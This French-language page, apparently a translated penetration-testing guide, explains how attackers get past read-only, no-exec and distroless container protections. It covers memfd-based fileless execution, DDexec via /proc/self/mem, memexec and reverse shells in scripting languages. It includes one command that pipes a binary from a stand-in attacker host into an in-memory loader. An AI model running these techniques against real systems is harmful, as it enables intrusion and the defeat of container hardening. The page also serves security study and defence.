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Bypass FS protections: read-only / no-exec / Distroless

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Vidéos

Dans les vidéos suivantes, vous trouverez les techniques mentionnées sur cette page expliquées plus en détail :

Scénario lecture seule / pas d'exécution

Il est de plus en plus courant de trouver des machines Linux montées avec une protection de système de fichiers en lecture seule (ro), notamment dans les conteneurs. Cela est dû au fait qu'il est aussi facile de lancer un conteneur avec un système de fichiers en ro en définissant readOnlyRootFilesystem: true dans le securitycontext :

apiVersion: v1
kind: Pod
metadata:
name: alpine-pod
spec:
containers:
- name: alpine
image: alpine
securityContext:
      readOnlyRootFilesystem: true
    command: ["sh", "-c", "while true; do sleep 1000; done"]

Cependant, même si le système de fichiers est monté en ro, /dev/shm restera inscriptible, donc nous pouvons écrire sur le disque. Cependant, ce dossier sera monté avec une protection no-exec, donc si vous téléchargez un binaire ici, vous ne pourrez pas l'exécuter.

D'un point de vue d'équipe rouge, cela rend compliqué le téléchargement et l'exécution de binaires qui ne sont pas déjà présents dans le système (comme des portes dérobées ou des outils d'énumération comme kubectl).

Contournement le plus simple : Scripts

Notez que j'ai mentionné les binaires, vous pouvez exécuter n'importe quel script tant que l'interpréteur est présent dans la machine, comme un script shell si sh est présent ou un script python si python est installé.

Cependant, cela ne suffit pas pour exécuter votre porte dérobée binaire ou d'autres outils binaires dont vous pourriez avoir besoin d'exécuter.

Contournements de la mémoire

Si vous souhaitez exécuter un binaire mais que le système de fichiers ne le permet pas, la meilleure façon de le faire est en l'exécutant depuis la mémoire, car les protections ne s'appliquent pas là.

Contournement de l'appel système FD + exec

Si vous disposez de moteurs de script puissants dans la machine, tels que Python, Perl ou Ruby, vous pourriez télécharger le binaire à exécuter depuis la mémoire, le stocker dans un descripteur de fichier en mémoire (create_memfd syscall), qui ne sera pas protégé par ces protections, puis appeler un appel système exec en indiquant le fd comme fichier à exécuter.

Pour cela, vous pouvez facilement utiliser le projet fileless-elf-exec. Vous pouvez lui passer un binaire et il générera un script dans le langage indiqué avec le binaire compressé et encodé en b64 avec les instructions pour le décoder et le décompresser dans un fd créé en appelant la syscall create_memfd et un appel à l'appel système exec pour l'exécuter.

Cela ne fonctionne pas dans d'autres langages de script comme PHP ou Node car ils n'ont pas de moyen par défaut d'appeler des appels système bruts à partir d'un script, il n'est donc pas possible d'appeler create_memfd pour créer le fd en mémoire pour stocker le binaire.

De plus, la création d'un fd régulier avec un fichier dans /dev/shm ne fonctionnera pas, car vous ne serez pas autorisé à l'exécuter en raison de la protection no-exec qui s'appliquera.

DDexec / EverythingExec

DDexec / EverythingExec est une technique qui vous permet de modifier la mémoire de votre propre processus en écrasant son /proc/self/mem.

Par conséquent, en contrôlant le code d'assemblage qui est exécuté par le processus, vous pouvez écrire un shellcode et "muter" le processus pour exécuter n'importe quel code arbitraire.

DDexec / EverythingExec vous permettra de charger et d'exécuter votre propre shellcode ou n'importe quel binaire depuis la mémoire.

# Basic example
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar

Pour plus d'informations sur cette technique, consultez le Github ou :

DDexec / EverythingExec

MemExec

Memexec est la prochaine étape naturelle de DDexec. C'est un shellcode demonisé DDexec, donc chaque fois que vous voulez exécuter un binaire différent, vous n'avez pas besoin de relancer DDexec, vous pouvez simplement exécuter le shellcode memexec via la technique DDexec et ensuite communiquer avec ce démon pour transmettre de nouveaux binaires à charger et exécuter.

Vous pouvez trouver un exemple de l'utilisation de memexec pour exécuter des binaires à partir d'un shell PHP inversé dans https://github.com/arget13/memexec/blob/main/a.php.

Memdlopen

Dans un but similaire à DDexec, la technique memdlopen permet une manière plus facile de charger des binaires en mémoire pour les exécuter ultérieurement. Cela pourrait même permettre de charger des binaires avec des dépendances.

Contournement de Distroless

Qu'est-ce que Distroless

Les conteneurs Distroless contiennent uniquement les composants strictement nécessaires pour exécuter une application ou un service spécifique, tels que des bibliothèques et des dépendances d'exécution, mais excluent des composants plus importants comme un gestionnaire de paquets, un shell ou des utilitaires système.

L'objectif des conteneurs Distroless est de réduire la surface d'attaque des conteneurs en éliminant les composants inutiles et en minimisant le nombre de vulnérabilités exploitables.

Shell Inversé

Dans un conteneur Distroless, vous pourriez ne pas trouver même sh ou bash pour obtenir un shell classique. Vous ne trouverez pas non plus des binaires tels que ls, whoami, id... tout ce que vous exécutez habituellement dans un système.

Par conséquent, vous ne pourrez pas obtenir un shell inversé ou énumérer le système comme vous le faites habituellement.

Cependant, si le conteneur compromis exécute par exemple une application web Flask, alors Python est installé, et donc vous pouvez obtenir un shell Python inversé. S'il exécute Node, vous pouvez obtenir un shell Node, et de même avec la plupart des langages de script.

En utilisant le langage de script, vous pourriez énumérer le système en utilisant les capacités du langage.

S'il n'y a pas de protections lecture seule/sans exécution, vous pourriez abuser de votre shell inversé pour écrire dans le système de fichiers vos binaires et les exécuter.

Cependant, dans ce type de conteneurs, ces protections existent généralement, mais vous pourriez utiliser les techniques d'exécution en mémoire précédentes pour les contourner.

Vous pouvez trouver des exemples sur la façon d'exploiter certaines vulnérabilités RCE pour obtenir des shells inversés de langages de script et exécuter des binaires en mémoire dans https://github.com/carlospolop/DistrolessRCE.

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